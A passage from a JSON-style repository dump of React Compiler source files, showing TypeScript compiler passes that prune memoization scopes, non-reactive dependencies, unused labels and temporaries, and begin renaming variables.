MemoizationOptions;\n\n  constructor(env: Environment, state: State) {\n    super();\n    this.env = env;\n    this.state = state;\n    this.options = {\n      memoizeJsxElements: !this.env.config.enableForest,\n      forceMemoizePrimitives:\n        this.env.config.enableForest ||\n        this.env.config.enablePreserveExistingMemoizationGuarantees,\n    };\n  }\n\n  /*\n   * Given a value, returns a description of how it should be memoized:\n   * - lvalues: optional extra places that are lvalue-like in the sense of\n   *   aliasing the rvalues\n   * - rvalues: places that are aliased by the instruction's lvalues.\n   * - level: the level of memoization to apply to this value\n   */\n  computeMemoizationInputs(\n    value: ReactiveValue,\n    lvalue: Place | null,\n  ): {\n    // can optionally return a custom set of lvalues per instruction\n    lvalues: Array<LValueMemoization>;\n    rvalues: Array<Place>;\n  } {\n    const env = this.env;\n    const options = this.options;\n\n    switch (value.kind) {\n      case 'ConditionalExpression': {\n        return {\n          // Only need to memoize if the rvalues are memoized\n          lvalues:\n            lvalue !== null\n              ? [{place: lvalue, level: MemoizationLevel.Conditional}]\n              : [],\n          rvalues: [\n            // Conditionals do not alias their test value.\n            ...this.computeMemoizationInputs(value.consequent, null).rvalues,\n            ...this.computeMemoizationInputs(value.alternate, null).rvalues,\n          ],\n        };\n      }\n      case 'LogicalExpression': {\n        return {\n          // Only need to memoize if the rvalues are memoized\n          lvalues:\n            lvalue !== null\n              ? [{place: lvalue, level: MemoizationLevel.Conditional}]\n              : [],\n          rvalues: [\n            ...this.computeMemoizationInputs(value.left, null).rvalues,\n            ...this.computeMemoizationInputs(value.right, null).rvalues,\n          ],\n        };\n      }\n      case 'SequenceExpression': {\n        for (const instr of value.instructions) {\n          this.visitValueForMemoization(instr.id, instr.value, instr.lvalue);\n        }\n        return {\n          // Only need to memoize if the rvalues are memoized\n          lvalues:\n            lvalue !== null\n              ? [{place: lvalue, level: MemoizationLevel.Conditional}]\n              : [],\n          /*\n           * Only the final value of the sequence is a true rvalue:\n           * values from the sequence's instructions are evaluated\n           * as separate nodes\n           */\n          rvalues: this.computeMemoizationInputs(value.value, null).rvalues,\n        };\n      }\n      case 'JsxExpression': {\n        const operands: Array<Place> = [];\n        if (value.tag.kind === 'Identifier') {\n          operands.push(value.tag);\n        }\n        for (const prop of value.props) {\n          if (prop.kind === 'JsxAttribute') {\n            operands.push(prop.place);\n          } else {\n            operands.push(prop.argument);\n          }\n        }\n        if (value.children !== null) {\n          for (const child of value.children) {\n            operands.push(child);\n          }\n        }\n        const level = options.memoizeJsxElements\n          ? MemoizationLevel.Memoized\n          : MemoizationLevel.Unmemoized;\n        return {\n          /*\n           * JSX elements themselves are not memoized unless forced to\n           * avoid breaking downstream memoization\n           */\n          lvalues: lvalue !== null ? [{place: lvalue, level}] : [],\n          rvalues: operands,\n        };\n      }\n      case 'JsxFragment': {\n        const level = options.memoizeJsxElements\n          ? MemoizationLevel.Memoized\n          : MemoizationLevel.Unmemoized;\n        return {\n          /*\n           * JSX elements themselves are not memoized unless forced to\n           * avoid breaking downstream memoization\n           */\n          lvalues: lvalue !== null ? [{place: lvalue, level}] : [],\n          rvalues: value.children,\n        };\n      }\n      case 'NextPropertyOf':\n      case 'StartMemoize':\n      case 'FinishMemoize':\n      case 'Debugger':\n      case 'ComputedDelete':\n      case 'PropertyDelete':\n      case 'LoadGlobal':\n      case 'MetaProperty':\n      case 'TemplateLiteral':\n      case 'Primitive':\n      case 'JSXText':\n      case 'BinaryExpression':\n      case 'UnaryExpression': {\n        if (options.forceMemoizePrimitives) {\n          /**\n           * Because these instructions produce primitives we usually don't consider\n           * them as escape points: they are known to copy, not return references.\n           * However if we're forcing memoization of primitives then we mark these\n           * instructions as needing memoization and walk their rvalues to ensure\n           * any scopes transitively reachable from the rvalues are considered for\n           * memoization. Note: we may still prune primitive-producing scopes if\n           * they don't ultimately escape at all.\n           */\n          const level = MemoizationLevel.Conditional;\n          return {\n            lvalues: lvalue !== null ? [{place: lvalue, level}] : [],\n            rvalues: [...eachReactiveValueOperand(value)],\n          };\n        }\n        const level = MemoizationLevel.Never;\n        return {\n          // All of these instructions return a primitive value and never need to be memoized\n          lvalues: lvalue !== null ? [{place: lvalue, level}] : [],\n          rvalues: [],\n        };\n      }\n      case 'Await':\n      case 'TypeCastExpression': {\n        return {\n          // Indirection for the inner value, memoized if the value is\n          lvalues:\n            lvalue !== null\n              ? [{place: lvalue, level: MemoizationLevel.Conditional}]\n              : [],\n          rvalues: [value.value],\n        };\n      }\n      case 'IteratorNext': {\n        return {\n          // Indirection for the inner value, memoized if the value is\n          lvalues:\n            lvalue !== null\n              ? [{place: lvalue, level: MemoizationLevel.Conditional}]\n              : [],\n          rvalues: [value.iterator, value.collection],\n        };\n      }\n      case 'GetIterator': {\n        return {\n          // Indirection for the inner value, memoized if the value is\n          lvalues:\n            lvalue !== null\n              ? [{place: lvalue, level: MemoizationLevel.Conditional}]\n              : [],\n          rvalues: [value.collection],\n        };\n      }\n      case 'LoadLocal': {\n        return {\n          // Indirection for the inner value, memoized if the value is\n          lvalues:\n            lvalue !== null\n              ? [{place: lvalue, level: MemoizationLevel.Conditional}]\n              : [],\n          rvalues: [value.place],\n        };\n      }\n      case 'LoadContext': {\n        return {\n          // Should never be pruned\n          lvalues:\n            lvalue !== null\n              ? [{place: lvalue, level: MemoizationLevel.Conditional}]\n              : [],\n          rvalues: [value.place],\n        };\n      }\n      case 'DeclareContext': {\n        const lvalues = [\n          {place: value.lvalue.place, level: MemoizationLevel.Memoized},\n        ];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Unmemoized});\n        }\n        return {\n          lvalues,\n          rvalues: [],\n        };\n      }\n\n      case 'DeclareLocal': {\n        const lvalues = [\n          {place: value.lvalue.place, level: MemoizationLevel.Unmemoized},\n        ];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Unmemoized});\n        }\n        return {\n          lvalues,\n          rvalues: [],\n        };\n      }\n      case 'PrefixUpdate':\n      case 'PostfixUpdate': {\n        const lvalues = [\n          {place: value.lvalue, level: MemoizationLevel.Conditional},\n        ];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});\n        }\n        return {\n          // Indirection for the inner value, memoized if the value is\n          lvalues,\n          rvalues: [value.value],\n        };\n      }\n      case 'StoreLocal': {\n        const lvalues = [\n          {place: value.lvalue.place, level: MemoizationLevel.Conditional},\n        ];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});\n        }\n        return {\n          // Indirection for the inner value, memoized if the value is\n          lvalues,\n          rvalues: [value.value],\n        };\n      }\n      case 'StoreContext': {\n        // Should never be pruned\n        const lvalues = [\n          {place: value.lvalue.place, level: MemoizationLevel.Memoized},\n        ];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});\n        }\n\n        return {\n          lvalues,\n          rvalues: [value.value],\n        };\n      }\n      case 'StoreGlobal': {\n        const lvalues = [];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Unmemoized});\n        }\n\n        return {\n          lvalues,\n          rvalues: [value.value],\n        };\n      }\n      case 'Destructure': {\n        // Indirection for the inner value, memoized if the value is\n        const lvalues = [];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});\n        }\n        lvalues.push(...computePatternLValues(value.lvalue.pattern));\n        return {\n          lvalues: lvalues,\n          rvalues: [value.value],\n        };\n      }\n      case 'ComputedLoad':\n      case 'PropertyLoad': {\n        const level = MemoizationLevel.Conditional;\n        return {\n          // Indirection for the inner value, memoized if the value is\n          lvalues: lvalue !== null ? [{place: lvalue, level}] : [],\n          /*\n           * Only the object is aliased to the result, and the result only needs to be\n           * memoized if the object is\n           */\n          rvalues: [value.object],\n        };\n      }\n      case 'ComputedStore': {\n        /*\n         * The object being stored to acts as an lvalue (it aliases the value), but\n         * the computed key is not aliased\n         */\n        const lvalues = [\n          {place: value.object, level: MemoizationLevel.Conditional},\n        ];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});\n        }\n        return {\n          lvalues,\n          rvalues: [value.value],\n        };\n      }\n      case 'OptionalExpression': {\n        // Indirection for the inner value, memoized if the value is\n        const lvalues = [];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Conditional});\n        }\n        return {\n          lvalues: lvalues,\n          rvalues: [\n            ...this.computeMemoizationInputs(value.value, null).rvalues,\n          ],\n        };\n      }\n      case 'TaggedTemplateExpression': {\n        const signature = getFunctionCallSignature(\n          env,\n          value.tag.identifier.type,\n        );\n        let lvalues = [];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Memoized});\n        }\n        if (signature?.noAlias === true) {\n          return {\n            lvalues,\n            rvalues: [],\n          };\n        }\n        const operands = [...eachReactiveValueOperand(value)];\n        lvalues.push(\n          ...operands\n            .filter(operand => isMutableEffect(operand.effect, operand.loc))\n            .map(place => ({place, level: MemoizationLevel.Memoized})),\n        );\n        return {\n          lvalues,\n          rvalues: operands,\n        };\n      }\n      case 'CallExpression': {\n        const signature = getFunctionCallSignature(\n          env,\n          value.callee.identifier.type,\n        );\n        let lvalues = [];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Memoized});\n        }\n        if (signature?.noAlias === true) {\n          return {\n            lvalues,\n            rvalues: [],\n          };\n        }\n        const operands = [...eachReactiveValueOperand(value)];\n        lvalues.push(\n          ...operands\n            .filter(operand => isMutableEffect(operand.effect, operand.loc))\n            .map(place => ({place, level: MemoizationLevel.Memoized})),\n        );\n        return {\n          lvalues,\n          rvalues: operands,\n        };\n      }\n      case 'MethodCall': {\n        const signature = getFunctionCallSignature(\n          env,\n          value.property.identifier.type,\n        );\n        let lvalues = [];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Memoized});\n        }\n        if (signature?.noAlias === true) {\n          return {\n            lvalues,\n            rvalues: [],\n          };\n        }\n        const operands = [...eachReactiveValueOperand(value)];\n        lvalues.push(\n          ...operands\n            .filter(operand => isMutableEffect(operand.effect, operand.loc))\n            .map(place => ({place, level: MemoizationLevel.Memoized})),\n        );\n        return {\n          lvalues,\n          rvalues: operands,\n        };\n      }\n      case 'RegExpLiteral':\n      case 'ObjectMethod':\n      case 'FunctionExpression':\n      case 'ArrayExpression':\n      case 'NewExpression':\n      case 'ObjectExpression':\n      case 'PropertyStore': {\n        /*\n         * All of these instructions may produce new values which must be memoized if\n         * reachable from a return value. Any mutable rvalue may alias any other rvalue\n         */\n        const operands = [...eachReactiveValueOperand(value)];\n        const lvalues = operands\n          .filter(operand => isMutableEffect(operand.effect, operand.loc))\n          .map(place => ({place, level: MemoizationLevel.Memoized}));\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Memoized});\n        }\n        return {\n          lvalues,\n          rvalues: operands,\n        };\n      }\n      case 'UnsupportedNode': {\n        const lvalues = [];\n        if (lvalue !== null) {\n          lvalues.push({place: lvalue, level: MemoizationLevel.Never});\n        }\n        return {\n          lvalues,\n          rvalues: [],\n        };\n      }\n      default: {\n        assertExhaustive(\n          value,\n          `Unexpected value kind \\`${(value as any).kind}\\``,\n        );\n      }\n    }\n  }\n\n  visitValueForMemoization(\n    id: InstructionId,\n    value: ReactiveValue,\n    lvalue: Place | null,\n  ): void {\n    const state = this.state;\n    // Determe the level of memoization for this value and the lvalues/rvalues\n    const aliasing = this.computeMemoizationInputs(value, lvalue);\n\n    // Associate all the rvalues with the instruction's scope if it has one\n    for (const operand of aliasing.rvalues) {\n      const operandId =\n        state.definitions.get(operand.identifier.declarationId) ??\n        operand.identifier.declarationId;\n      state.visitOperand(id, operand, operandId);\n    }\n\n    // Add the operands as dependencies of all lvalues.\n    for (const {place: lvalue, level} of aliasing.lvalues) {\n      const lvalueId =\n        state.definitions.get(lvalue.identifier.declarationId) ??\n        lvalue.identifier.declarationId;\n      let node = state.identifiers.get(lvalueId);\n      if (node === undefined) {\n        node = {\n          level: MemoizationLevel.Never,\n          memoized: false,\n          dependencies: new Set(),\n          scopes: new Set(),\n          seen: false,\n        };\n        state.identifiers.set(lvalueId, node);\n      }\n      node.level = joinAliases(node.level, level);\n      /*\n       * This looks like NxM iterations but in practice all instructions with multiple\n       * lvalues have only a single rvalue\n       */\n      for (const operand of aliasing.rvalues) {\n        const operandId =\n          state.definitions.get(operand.identifier.declarationId) ??\n          operand.identifier.declarationId;\n        if (operandId === lvalueId) {\n          continue;\n        }\n        node.dependencies.add(operandId);\n      }\n\n      state.visitOperand(id, lvalue, lvalueId);\n    }\n\n    if (value.kind === 'LoadLocal' && lvalue !== null) {\n      state.definitions.set(\n        lvalue.identifier.declarationId,\n        value.place.identifier.declarationId,\n      );\n    } else if (value.kind === 'CallExpression' || value.kind === 'MethodCall') {\n      let callee =\n        value.kind === 'CallExpression' ? value.callee : value.property;\n      if (getHookKind(state.env, callee.identifier) != null) {\n        const signature = getFunctionCallSignature(\n          this.env,\n          callee.identifier.type,\n        );\n        /*\n         * Hook values are assumed to escape by default since they can be inputs\n         * to reactive scopes in the hook. However if the hook is annotated as\n         * noAlias we know that the arguments cannot escape and don't need to\n         * be memoized.\n         */\n        if (signature && signature.noAlias === true) {\n          return;\n        }\n        for (const operand of value.args) {\n          const place = operand.kind === 'Spread' ? operand.place : operand;\n          state.escapingValues.add(place.identifier.declarationId);\n        }\n      }\n    }\n  }\n\n  override visitInstruction(\n    instruction: ReactiveInstruction,\n    _scopes: Array<ReactiveScope>,\n  ): void {\n    this.visitValueForMemoization(\n      instruction.id,\n      instruction.value,\n      instruction.lvalue,\n    );\n  }\n\n  override visitTerminal(\n    stmt: ReactiveTerminalStatement<ReactiveTerminal>,\n    scopes: Array<ReactiveScope>,\n  ): void {\n    this.traverseTerminal(stmt, scopes);\n    if (stmt.terminal.kind === 'return') {\n      this.state.escapingValues.add(\n        stmt.terminal.value.identifier.declarationId,\n      );\n\n      /*\n       * If the return is within a scope, then those scopes must be evaluated\n       * with the return and should be considered dependencies of the returned\n       * value.\n       *\n       * This ensures that if those scopes have dependencies that those deps\n       * are also memoized.\n       */\n      const identifierNode = this.state.identifiers.get(\n        stmt.terminal.value.identifier.declarationId,\n      );\n      CompilerError.invariant(identifierNode !== undefined, {\n        reason: 'Expected identifier to be initialized',\n        loc: stmt.terminal.loc,\n      });\n      for (const scope of scopes) {\n        identifierNode.scopes.add(scope.id);\n      }\n    }\n  }\n\n  override visitScope(\n    scope: ReactiveScopeBlock,\n    scopes: Array<ReactiveScope>,\n  ): void {\n    /*\n     * If a scope reassigns any variables, set the chain of active scopes as a dependency\n     * of those variables. This ensures that if the variable escapes that we treat the\n     * reassignment scopes — and importantly their dependencies — as needing memoization.\n     */\n    for (const reassignment of scope.scope.reassignments) {\n      const identifierNode = this.state.identifiers.get(\n        reassignment.declarationId,\n      );\n      CompilerError.invariant(identifierNode !== undefined, {\n        reason: 'Expected identifier to be initialized',\n        loc: reassignment.loc,\n      });\n      for (const scope of scopes) {\n        identifierNode.scopes.add(scope.id);\n      }\n      identifierNode.scopes.add(scope.scope.id);\n    }\n\n    this.traverseScope(scope, [...scopes, scope.scope]);\n  }\n}\n\n// Prune reactive scopes that do not have any memoized outputs\nclass PruneScopesTransform extends ReactiveFunctionTransform<\n  Set<DeclarationId>\n> {\n  prunedScopes: Set<ScopeId> = new Set();\n  /**\n   * Track reassignments so we can correctly set `pruned` flags for\n   * inlined useMemos.\n   */\n  reassignments: Map<DeclarationId, Set<Identifier>> = new Map();\n\n  override transformScope(\n    scopeBlock: ReactiveScopeBlock,\n    state: Set<DeclarationId>,\n  ): Transformed<ReactiveStatement> {\n    this.visitScope(scopeBlock, state);\n\n    /**\n     * Scopes may initially appear \"empty\" because the value being memoized\n     * is early-returned from within the scope. For now we intentionaly keep\n     * these scopes, and let them get pruned later by PruneUnusedScopes\n     * _after_ handling the early-return case in PropagateEarlyReturns.\n     *\n     * Also keep the scope if an early return was created by some earlier pass,\n     * which may happen in alternate compiler configurations.\n     */\n    if (\n      (scopeBlock.scope.declarations.size === 0 &&\n        scopeBlock.scope.reassignments.size === 0) ||\n      scopeBlock.scope.earlyReturnValue !== null\n    ) {\n      return {kind: 'keep'};\n    }\n\n    const hasMemoizedOutput =\n      Array.from(scopeBlock.scope.declarations.values()).some(decl =>\n        state.has(decl.identifier.declarationId),\n      ) ||\n      Array.from(scopeBlock.scope.reassignments).some(identifier =>\n        state.has(identifier.declarationId),\n      );\n    if (hasMemoizedOutput) {\n      return {kind: 'keep'};\n    } else {\n      this.prunedScopes.add(scopeBlock.scope.id);\n      return {\n        kind: 'replace-many',\n        value: scopeBlock.instructions,\n      };\n    }\n  }\n\n  /**\n   * If we pruned the scope for a non-escaping value, we know it doesn't\n   * need to be memoized. Remove associated `Memoize` instructions so that\n   * we don't report false positives on \"missing\" memoization of these values.\n   */\n  override transformInstruction(\n    instruction: ReactiveInstruction,\n    state: Set<DeclarationId>,\n  ): Transformed<ReactiveStatement> {\n    this.traverseInstruction(instruction, state);\n\n    const value = instruction.value;\n    if (value.kind === 'StoreLocal' && value.lvalue.kind === 'Reassign') {\n      // Complex cases of useMemo inlining result in a temporary that is reassigned\n      const ids = getOrInsertDefault(\n        this.reassignments,\n        value.lvalue.place.identifier.declarationId,\n        new Set(),\n      );\n      ids.add(value.value.identifier);\n    } else if (\n      value.kind === 'LoadLocal' &&\n      value.place.identifier.scope != null &&\n      instruction.lvalue != null &&\n      instruction.lvalue.identifier.scope == null\n    ) {\n      /*\n       * Simpler cases result in a direct assignment to the original lvalue, with a\n       * LoadLocal\n       */\n      const ids = getOrInsertDefault(\n        this.reassignments,\n        instruction.lvalue.identifier.declarationId,\n        new Set(),\n      );\n      ids.add(value.place.identifier);\n    } else if (value.kind === 'FinishMemoize') {\n      let decls;\n      if (value.decl.identifier.scope == null) {\n        /**\n         * If the manual memo was a useMemo that got inlined, iterate through\n         * all reassignments to the iife temporary to ensure they're memoized.\n         */\n        decls = this.reassignments.get(value.decl.identifier.declarationId) ?? [\n          value.decl.identifier,\n        ];\n      } else {\n        decls = [value.decl.identifier];\n      }\n\n      if (\n        [...decls].every(\n          decl => decl.scope == null || this.prunedScopes.has(decl.scope.id),\n        )\n      ) {\n        value.pruned = true;\n      }\n    }\n\n    return {kind: 'keep'};\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneNonReactiveDependencies.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  IdentifierId,\n  ReactiveFunction,\n  ReactiveInstruction,\n  ReactiveScopeBlock,\n  isStableType,\n} from '../HIR';\nimport {eachPatternOperand} from '../HIR/visitors';\nimport {collectReactiveIdentifiers} from './CollectReactiveIdentifiers';\nimport {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';\n\n/*\n * PropagateScopeDependencies infers dependencies without considering whether dependencies\n * are actually reactive or not (ie, whether their value can change over time).\n *\n * This pass prunes dependencies that are guaranteed to be non-reactive.\n */\nexport function pruneNonReactiveDependencies(fn: ReactiveFunction): void {\n  const reactiveIdentifiers = collectReactiveIdentifiers(fn);\n  visitReactiveFunction(fn, new Visitor(), reactiveIdentifiers);\n}\n\ntype ReactiveIdentifiers = Set<IdentifierId>;\n\nclass Visitor extends ReactiveFunctionVisitor<ReactiveIdentifiers> {\n  override visitInstruction(\n    instruction: ReactiveInstruction,\n    state: ReactiveIdentifiers,\n  ): void {\n    this.traverseInstruction(instruction, state);\n\n    const {lvalue, value} = instruction;\n    switch (value.kind) {\n      case 'LoadLocal': {\n        if (lvalue !== null && state.has(value.place.identifier.id)) {\n          state.add(lvalue.identifier.id);\n        }\n        break;\n      }\n      case 'StoreLocal': {\n        if (state.has(value.value.identifier.id)) {\n          state.add(value.lvalue.place.identifier.id);\n          if (lvalue !== null) {\n            state.add(lvalue.identifier.id);\n          }\n        }\n        break;\n      }\n      case 'Destructure': {\n        if (state.has(value.value.identifier.id)) {\n          for (const lvalue of eachPatternOperand(value.lvalue.pattern)) {\n            if (isStableType(lvalue.identifier)) {\n              continue;\n            }\n            state.add(lvalue.identifier.id);\n          }\n          if (lvalue !== null) {\n            state.add(lvalue.identifier.id);\n          }\n        }\n        break;\n      }\n      case 'PropertyLoad': {\n        if (\n          lvalue !== null &&\n          state.has(value.object.identifier.id) &&\n          !isStableType(lvalue.identifier)\n        ) {\n          state.add(lvalue.identifier.id);\n        }\n        break;\n      }\n      case 'ComputedLoad': {\n        if (\n          lvalue !== null &&\n          (state.has(value.object.identifier.id) ||\n            state.has(value.property.identifier.id))\n        ) {\n          state.add(lvalue.identifier.id);\n        }\n        break;\n      }\n    }\n  }\n\n  override visitScope(\n    scopeBlock: ReactiveScopeBlock,\n    state: ReactiveIdentifiers,\n  ): void {\n    this.traverseScope(scopeBlock, state);\n    for (const dep of scopeBlock.scope.dependencies) {\n      const isReactive = state.has(dep.identifier.id);\n      if (!isReactive) {\n        scopeBlock.scope.dependencies.delete(dep);\n      }\n    }\n    if (scopeBlock.scope.dependencies.size !== 0) {\n      /**\n       * If any of a scope's dependencies are reactive, then all of its\n       * outputs will re-evaluate whenever those dependencies change.\n       * Mark all of the outputs as reactive to reflect the fact that\n       * they may change in practice based on a reactive input.\n       */\n      for (const [, declaration] of scopeBlock.scope.declarations) {\n        state.add(declaration.identifier.id);\n      }\n      for (const reassignment of scopeBlock.scope.reassignments) {\n        state.add(reassignment.id);\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneTemporaryLValues.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  DeclarationId,\n  InstructionId,\n  Place,\n  ReactiveFunction,\n  ReactiveInstruction,\n} from '../HIR/HIR';\nimport {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';\n\n/*\n * Nulls out lvalues for temporary variables that are never accessed later. This only\n * nulls out the lvalue itself, it does not remove the corresponding instructions.\n */\nexport function pruneUnusedLValues(fn: ReactiveFunction): void {\n  const lvalues = new Map<DeclarationId, ReactiveInstruction>();\n  visitReactiveFunction(fn, new Visitor(), lvalues);\n  for (const [, instr] of lvalues) {\n    instr.lvalue = null;\n  }\n}\n\n/**\n * This pass uses DeclarationIds because the lvalue IdentifierId of a compound expression\n * (ternary, logical, optional) in ReactiveFunction may not be the same as the IdentifierId\n * of the phi, and which is referenced later. Keying by DeclarationId ensures we don't\n * delete lvalues for identifiers that are used.\n *\n * TODO LeaveSSA: once we use HIR everywhere, this can likely move back to using IdentifierId\n */\ntype LValues = Map<DeclarationId, ReactiveInstruction>;\n\nclass Visitor extends ReactiveFunctionVisitor<LValues> {\n  override visitPlace(id: InstructionId, place: Place, state: LValues): void {\n    state.delete(place.identifier.declarationId);\n  }\n  override visitInstruction(\n    instruction: ReactiveInstruction,\n    state: LValues,\n  ): void {\n    this.traverseInstruction(instruction, state);\n    if (\n      instruction.lvalue !== null &&\n      instruction.lvalue.identifier.name === null\n    ) {\n      state.set(instruction.lvalue.identifier.declarationId, instruction);\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneUnusedLabels.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  BlockId,\n  ReactiveFunction,\n  ReactiveStatement,\n  ReactiveTerminalStatement,\n} from '../HIR/HIR';\nimport {\n  ReactiveFunctionTransform,\n  Transformed,\n  visitReactiveFunction,\n} from './visitors';\n\n/*\n * Flattens labeled terminals where the label is not reachable, and\n * nulls out labels for other terminals where the label is unused.\n */\nexport function pruneUnusedLabels(fn: ReactiveFunction): void {\n  const labels: Labels = new Set();\n  visitReactiveFunction(fn, new Transform(), labels);\n}\n\ntype Labels = Set<BlockId>;\n\nclass Transform extends ReactiveFunctionTransform<Labels> {\n  override transformTerminal(\n    stmt: ReactiveTerminalStatement,\n    state: Labels,\n  ): Transformed<ReactiveStatement> {\n    this.traverseTerminal(stmt, state);\n    const {terminal} = stmt;\n    if (\n      (terminal.kind === 'break' || terminal.kind === 'continue') &&\n      terminal.targetKind === 'labeled'\n    ) {\n      state.add(terminal.target);\n    }\n    // Is this terminal reachable via a break/continue to its label?\n    const isReachableLabel = stmt.label !== null && state.has(stmt.label.id);\n    if (stmt.terminal.kind === 'label' && !isReachableLabel) {\n      // Flatten labeled terminals where the label isn't necessary\n      const block = [...stmt.terminal.block];\n      const last = block.at(-1);\n      if (\n        last !== undefined &&\n        last.kind === 'terminal' &&\n        last.terminal.kind === 'break' &&\n        last.terminal.target === null\n      ) {\n        block.pop();\n      }\n      return {kind: 'replace-many', value: block};\n    } else {\n      if (!isReachableLabel && stmt.label != null) {\n        stmt.label.implicit = true;\n      }\n      return {kind: 'keep'};\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/PruneUnusedScopes.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  ReactiveFunction,\n  ReactiveScopeBlock,\n  ReactiveStatement,\n  ReactiveTerminalStatement,\n} from '../HIR/HIR';\nimport {\n  ReactiveFunctionTransform,\n  Transformed,\n  visitReactiveFunction,\n} from './visitors';\n\n// Converts scopes without outputs into regular blocks.\nexport function pruneUnusedScopes(fn: ReactiveFunction): void {\n  visitReactiveFunction(fn, new Transform(), {\n    hasReturnStatement: false,\n  } as State);\n}\n\ntype State = {\n  hasReturnStatement: boolean;\n};\n\nclass Transform extends ReactiveFunctionTransform<State> {\n  override visitTerminal(stmt: ReactiveTerminalStatement, state: State): void {\n    this.traverseTerminal(stmt, state);\n    if (stmt.terminal.kind === 'return') {\n      state.hasReturnStatement = true;\n    }\n  }\n  override transformScope(\n    scopeBlock: ReactiveScopeBlock,\n    _state: State,\n  ): Transformed<ReactiveStatement> {\n    const scopeState: State = {hasReturnStatement: false};\n    this.visitScope(scopeBlock, scopeState);\n    if (\n      !scopeState.hasReturnStatement &&\n      scopeBlock.scope.reassignments.size === 0 &&\n      (scopeBlock.scope.declarations.size === 0 ||\n        /*\n         * Can prune scopes where all declarations bubbled up from inner\n         * scopes\n         */\n        !hasOwnDeclaration(scopeBlock))\n    ) {\n      return {\n        kind: 'replace',\n        value: {\n          kind: 'pruned-scope',\n          scope: scopeBlock.scope,\n          instructions: scopeBlock.instructions,\n        },\n      };\n    } else {\n      return {kind: 'keep'};\n    }\n  }\n}\n\n/*\n * Does the scope block declare any values of its own? This can return\n * false if all the block's declarations are propagated from nested scopes.\n */\nfunction hasOwnDeclaration(block: ReactiveScopeBlock): boolean {\n  for (const declaration of block.scope.declarations.values()) {\n    if (declaration.scope.id === block.scope.id) {\n      return true;\n    }\n  }\n  return false;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/RenameVariables.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {ProgramContext} from '..';\nimport {CompilerError} from '../CompilerError';\nimport {\n  DeclarationId,\n  GeneratedSource,\n  Identifier,\n  IdentifierName,\n  InstructionId,\n  Place,\n  PrunedReactiveScopeBlock,\n  ReactiveBlock,\n  ReactiveFunction,\n  ReactiveScopeBlock,\n  ReactiveValue,\n  ValidIdentifierName,\n  isPromotedJsxTemporary,\n  isPromotedTemporary,\n  makeIdentifierName,\n} from '../HIR/HIR';\nimport {collectReferencedGlobals} from './CollectReferencedGlobals';\nimport {ReactiveFunctionVisitor, visitReactiveFunction} from './visitors';\n\n/**\n * Ensures that each named variable in the given function has a unique name\n * that does not conflict with any other variables in the same block scope.\n * Note that the scoping is based on the final inferred blocks, not the\n * block scopes that were present in the original source. Thus variables\n * that shadowed in the original source may end up with unique names in the\n * output, if Forget would merge those two blocks into a single scope.\n *\n * Variables are renamed using their original name followed by a number,\n * starting with 0 and incrementing until a unique name is found. Eg if the\n * compiler collapses three scopes that each had their own `foo` declaration,\n * they will be renamed to `foo`, `foo0`, and `foo1`, assuming that no conflicts'\n * exist for `foo0` and `foo1`.\n *\n * For temporary values that are promoted to named variables, the starting name\n * is \"T0\" for values that appear in JSX tag position and \"t0\" otherwise. If this\n * name conflicts, the number portion increments until the name is unique (t1, t2, etc).\n *\n * Returns a Set of all the unique variable names in the function after renaming.\n */\nexport function renameVariables(fn: ReactiveFunction): Set<string> {\n  const globals = collectReferencedGlobals(fn);\n  const scopes = new Scopes(globals, fn.env.programContext);\n  renameVariablesImpl(fn, new Visitor(), scopes);\n  return new Set([...scopes.names, ...globals]);\n}\n\nfunction renameVariablesImpl(\n  fn: ReactiveFunction,\n  visitor: Visitor,\n  scopes: Scopes,\n): void {\n  scopes.enter(() => {\n    for (const param of fn.params) {\n      if (param.kind === 'Identifier') {\n        scopes.visit(param.identifier);\n      } else {\n        scopes.visit(param.place.identifier);\n      }\n    }\n    visitReactiveFunction(fn, visitor, scopes);\n  });\n}\n\nclass Visitor extends ReactiveFunctionVisitor<Scopes> {\n  override visitParam(place: Place, state: Scopes): void {\n    state.visit(place.identifier);\n  }\n  override visitLValue(_id: InstructionId, 